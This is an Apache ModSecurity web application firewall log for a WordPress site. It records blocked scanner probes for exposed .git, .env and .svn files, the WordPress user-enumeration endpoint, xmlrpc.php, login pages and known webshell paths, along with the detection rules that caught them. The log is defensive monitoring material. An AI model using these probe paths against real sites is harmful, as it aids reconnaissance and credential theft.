[Mon Dec 01 22:24:44.750441 2025] [:error] [pid 11435:tid 11471] [client 34.83.114.121:55858] [client 34.83.114.121] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aS2lLJIO1XHiDMLlnSu6HgAAAAY"]
[Mon Dec 01 22:24:48.002911 2025] [:error] [pid 11435:tid 11478] [client 34.83.114.121:55858] [client 34.83.114.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.114.121, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS2lMJIO1XHiDMLlnSu6JAAAAA0"]
[Tue Dec 02 00:38:17.073036 2025] [:error] [pid 18734:tid 18761] [client 34.186.108.142:50200] [client 34.186.108.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.108.142, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS3EeRDodp5NNlEyq_DlrAAAAFg"]
[Tue Dec 02 00:38:19.908348 2025] [:error] [pid 18734:tid 18747] [client 34.186.108.142:50200] [client 34.186.108.142] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aS3EexDodp5NNlEyq_DlvgAAAEo"]
[Tue Dec 02 00:38:22.392246 2025] [:error] [pid 18734:tid 18744] [client 34.186.108.142:50200] [client 34.186.108.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.108.142, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS3EfhDodp5NNlEyq_Dl0wAAAEc"]
[Tue Dec 02 02:14:49.889765 2025] [:error] [pid 18826:tid 18850] [client 103.65.236.149:62381] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aS3bGc44B8ytyS-T2Ii7-QAAAJY"]
[Tue Dec 02 03:05:23.215846 2025] [:error] [pid 56397:tid 56410] [client 155.133.132.65:54822] [client 155.133.132.65] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/Wp/v2/users"] [unique_id "aS3m88GKI2_WNDIMokJEowAAAMs"]
[Tue Dec 02 03:07:53.402533 2025] [:error] [pid 18826:tid 18841] [client 109.234.166.135:49388] [client 109.234.166.135] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aS3nic44B8ytyS-T2IjJowAAAI0"]
[Tue Dec 02 03:32:48.375568 2025] [:error] [pid 49922:tid 49947] [client 185.117.225.166:33468] [client 185.117.225.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS3tYDpEulMsX0QqunNG3AAAAM8"]
[Tue Dec 02 04:04:03.916715 2025] [:error] [pid 5232:tid 5253] [client 35.247.165.206:47442] [client 35.247.165.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aS30swApmO-auDy1ob7VHgAAARM"]
[Tue Dec 02 06:12:13.313516 2025] [:error] [pid 3649:tid 3734] [client 107.172.195.89:54940] [client 107.172.195.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.172.195.89, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/https%3A/vetstars.com.au/xmlrpc.php%3Frsd"] [unique_id "aS4SvbwjL4uqC6YFjxGR9AAAAJc"]
[Tue Dec 02 08:45:54.185848 2025] [:error] [pid 5232:tid 5252] [client 170.106.72.93:33450] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aS42wgApmO-auDy1ob42UAAAARI"]
[Tue Dec 02 08:58:02.724135 2025] [:error] [pid 3760:tid 3766] [client 216.26.230.132:60689] [client 216.26.230.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aS45mljLYEjdWVcKgVW97gAAAMQ"]
[Tue Dec 02 08:58:03.852155 2025] [:error] [pid 3760:tid 3780] [client 65.111.30.115:46221] [client 65.111.30.115] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aS45m1jLYEjdWVcKgVW98wAAANI"]
[Tue Dec 02 08:58:04.515030 2025] [:error] [pid 3760:tid 3768] [client 154.213.160.163:60077] [client 154.213.160.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aS45nFjLYEjdWVcKgVW99wAAAMY"]
[Tue Dec 02 08:58:08.880931 2025] [:error] [pid 3648:tid 3697] [client 65.111.2.28:26219] [client 65.111.2.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aS45oOQEp5icp6XOJr0vkwAAAE0"]
[Tue Dec 02 08:58:09.616840 2025] [:error] [pid 3760:tid 3767] [client 209.50.172.106:60907] [client 209.50.172.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aS45oVjLYEjdWVcKgVW-EwAAAMU"]
[Tue Dec 02 08:58:10.264120 2025] [:error] [pid 3648:tid 3688] [client 65.111.7.158:17735] [client 65.111.7.158] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aS45ouQEp5icp6XOJr0vlAAAAEQ"]
[Tue Dec 02 08:58:11.443506 2025] [:error] [pid 3649:tid 3718] [client 209.50.177.248:10975] [client 209.50.177.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aS45o7wjL4uqC6YFjxHCewAAAIc"]
[Tue Dec 02 08:58:12.200386 2025] [:error] [pid 3760:tid 3766] [client 45.3.46.128:31357] [client 45.3.46.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aS45pFjLYEjdWVcKgVW-GAAAAMQ"]
[Tue Dec 02 13:42:47.367171 2025] [:error] [pid 3647:tid 3667] [client 216.73.216.178:27229] [client 216.73.216.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS58V1JaqGDFgh_0XI85aAAAAA4"]
[Tue Dec 02 13:55:32.996559 2025] [:error] [pid 48650:tid 48659] [client 104.164.173.53:32458] [client 104.164.173.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.164.173.53, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/https%3A/vetstars.com.au/xmlrpc.php%3Frsd"] [unique_id "aS5_VIQuWSn3xrJsXbn_wAAAAcQ"]
[Tue Dec 02 14:16:27.360535 2025] [:error] [pid 3647:tid 3661] [client 78.84.169.238:24478] [client 78.84.169.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aS6EO1JaqGDFgh_0XI9BhgAAAAg"]
[Tue Dec 02 15:59:25.159773 2025] [:error] [pid 3649:tid 3733] [client 62.60.131.162:59461] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aS6cXbwjL4uqC6YFjxFXVQAAAJY"]
[Tue Dec 02 16:36:56.903210 2025] [:error] [pid 48650:tid 48677] [client 124.226.222.66:59167] [client 124.226.222.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aS6lKIQuWSn3xrJsXbk_UAAAAdY"]
[Tue Dec 02 20:32:06.927361 2025] [:error] [pid 5272:tid 5275] [client 1.41.60.200:49519] [client 1.41.60.200] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "192.250.229.221_2a49c04188b55c0e255f5ce013831edaa9c8b2a0"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor-pro/assets/css/widget-carousel-module-base.min.css"] [unique_id "aS7cQ-wbFoRzPGfZYVRjpwAAAUA"], referer: https://vetstars.com.au/
[Tue Dec 02 21:06:44.065686 2025] [:error] [pid 5273:tid 5310] [client 136.118.77.95:62116] [client 136.118.77.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.118.77.95, counter = 6"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aS7kZCMmXO5H1kNwHHVYRQAAAYg"]
[Tue Dec 02 21:06:44.530303 2025] [:error] [pid 5232:tid 5245] [client 136.118.77.95:49242] [client 136.118.77.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.118.77.95, counter = 6"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aS7kZAApmO-auDy1ob4DXAAAAQs"]
[Tue Dec 02 21:06:44.927187 2025] [:error] [pid 5272:tid 5297] [client 136.118.77.95:62117] [client 136.118.77.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.118.77.95, counter = 6"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aS7kZOwbFoRzPGfZYVRtbQAAAVY"]
[Tue Dec 02 22:57:15.581581 2025] [:error] [pid 5272:tid 5295] [client 89.251.0.66:45891] [client 89.251.0.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.251.0.66, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS7-S-wbFoRzPGfZYVSGQQAAAVQ"], referer: https://vetstars.com.au/
[Tue Dec 02 23:10:42.342715 2025] [:error] [pid 5232:tid 5258] [client 89.251.0.52:65307] [client 89.251.0.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.251.0.52, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS8BcgApmO-auDy1ob4irgAAARg"], referer: https://vetstars.com.au/
[Wed Dec 03 02:00:00.210124 2025] [:error] [pid 47158:tid 47170] [client 34.169.123.206:58162] [client 34.169.123.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.169.123.206, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS8pIF3-jeg4VwJRw7EnUQAAAMo"]
[Wed Dec 03 02:00:03.047713 2025] [:error] [pid 47158:tid 47160] [client 34.169.123.206:58162] [client 34.169.123.206] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aS8pI13-jeg4VwJRw7EnYQAAAMA"]
[Wed Dec 03 02:00:05.396639 2025] [:error] [pid 47158:tid 47160] [client 34.169.123.206:58162] [client 34.169.123.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.169.123.206, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS8pJV3-jeg4VwJRw7EncQAAAMA"]
[Wed Dec 03 02:53:42.095583 2025] [:error] [pid 47068:tid 47124] [client 194.5.82.107:21969] [client 194.5.82.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.5.82.107, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS81tiDFatpzeF4tcYW3PAAAAFg"]
[Wed Dec 03 02:53:52.862244 2025] [:error] [pid 47068:tid 47122] [client 194.5.82.107:21969] [client 194.5.82.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aS81wCDFatpzeF4tcYW3XAAAAFY"]
[Wed Dec 03 02:54:10.130417 2025] [:error] [pid 25475:tid 25522] [client 194.5.82.153:62275] [client 194.5.82.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aS810h7VdEeEe8GnPSVx9gAAAQo"]
[Wed Dec 03 02:54:25.594710 2025] [:error] [pid 25475:tid 25534] [client 194.5.82.153:62275] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aS814R7VdEeEe8GnPSVyOQAAARY"]
[Wed Dec 03 05:25:35.648388 2025] [:error] [pid 36048:tid 36053] [client 136.112.142.136:63082] [client 136.112.142.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.142.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS9ZTxATOC5ACZsH0EJk-wAAAQI"]
[Wed Dec 03 05:25:39.345486 2025] [:error] [pid 36048:tid 36076] [client 136.112.142.136:63082] [client 136.112.142.136] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aS9ZUxATOC5ACZsH0EJlNwAAARg"]
[Wed Dec 03 05:25:41.498712 2025] [:error] [pid 36048:tid 36057] [client 136.112.142.136:63082] [client 136.112.142.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.142.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS9ZVRATOC5ACZsH0EJlRAAAAQY"]
[Wed Dec 03 07:13:53.333908 2025] [:error] [pid 22013:tid 22032] [client 213.21.239.4:40850] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/AWSconf.svn/wc.db"] [unique_id "aS9ysYpUogO0aqsrpMVbewAAAM0"]
[Wed Dec 03 07:13:53.335235 2025] [:error] [pid 21970:tid 21974] [client 213.21.239.4:40912] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdxwAAAAE"]
[Wed Dec 03 07:13:53.335325 2025] [:error] [pid 22083:tid 22104] [client 213.21.239.4:40952] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/amphtml/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQiwAAAFM"]
[Wed Dec 03 07:13:53.336001 2025] [:error] [pid 22013:tid 22036] [client 213.21.239.4:40956] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/content../.svn/wc.db"] [unique_id "aS9ysYpUogO0aqsrpMVbfAAAANE"]
[Wed Dec 03 07:13:53.336440 2025] [:error] [pid 22083:tid 22105] [client 213.21.239.4:40894] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/aomanalyzer/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQjAAAAFQ"]
[Wed Dec 03 07:13:53.336730 2025] [:error] [pid 21970:tid 21985] [client 213.21.239.4:40954] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/blog/wp-content/themes/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdyAAAAAk"]
[Wed Dec 03 07:13:53.339355 2025] [:error] [pid 22083:tid 22086] [client 213.21.239.4:41052] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/common/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQjQAAAEE"]
[Wed Dec 03 07:13:53.343373 2025] [:error] [pid 22083:tid 22097] [client 213.21.239.4:40984] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/css../.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQjgAAAEw"]
[Wed Dec 03 07:13:53.344691 2025] [:error] [pid 21970:tid 21983] [client 213.21.239.4:40922] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/assets../.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdyQAAAAc"]
[Wed Dec 03 07:13:53.345480 2025] [:error] [pid 22013:tid 22019] [client 213.21.239.4:40860] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/application/.svn/wc.db"] [unique_id "aS9ysYpUogO0aqsrpMVbfQAAAMA"]
[Wed Dec 03 07:13:53.346196 2025] [:error] [pid 22083:tid 22096] [client 213.21.239.4:40946] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQjwAAAEs"]
[Wed Dec 03 07:13:53.349397 2025] [:error] [pid 21970:tid 21997] [client 213.21.239.4:40910] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/backup/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdygAAABU"]
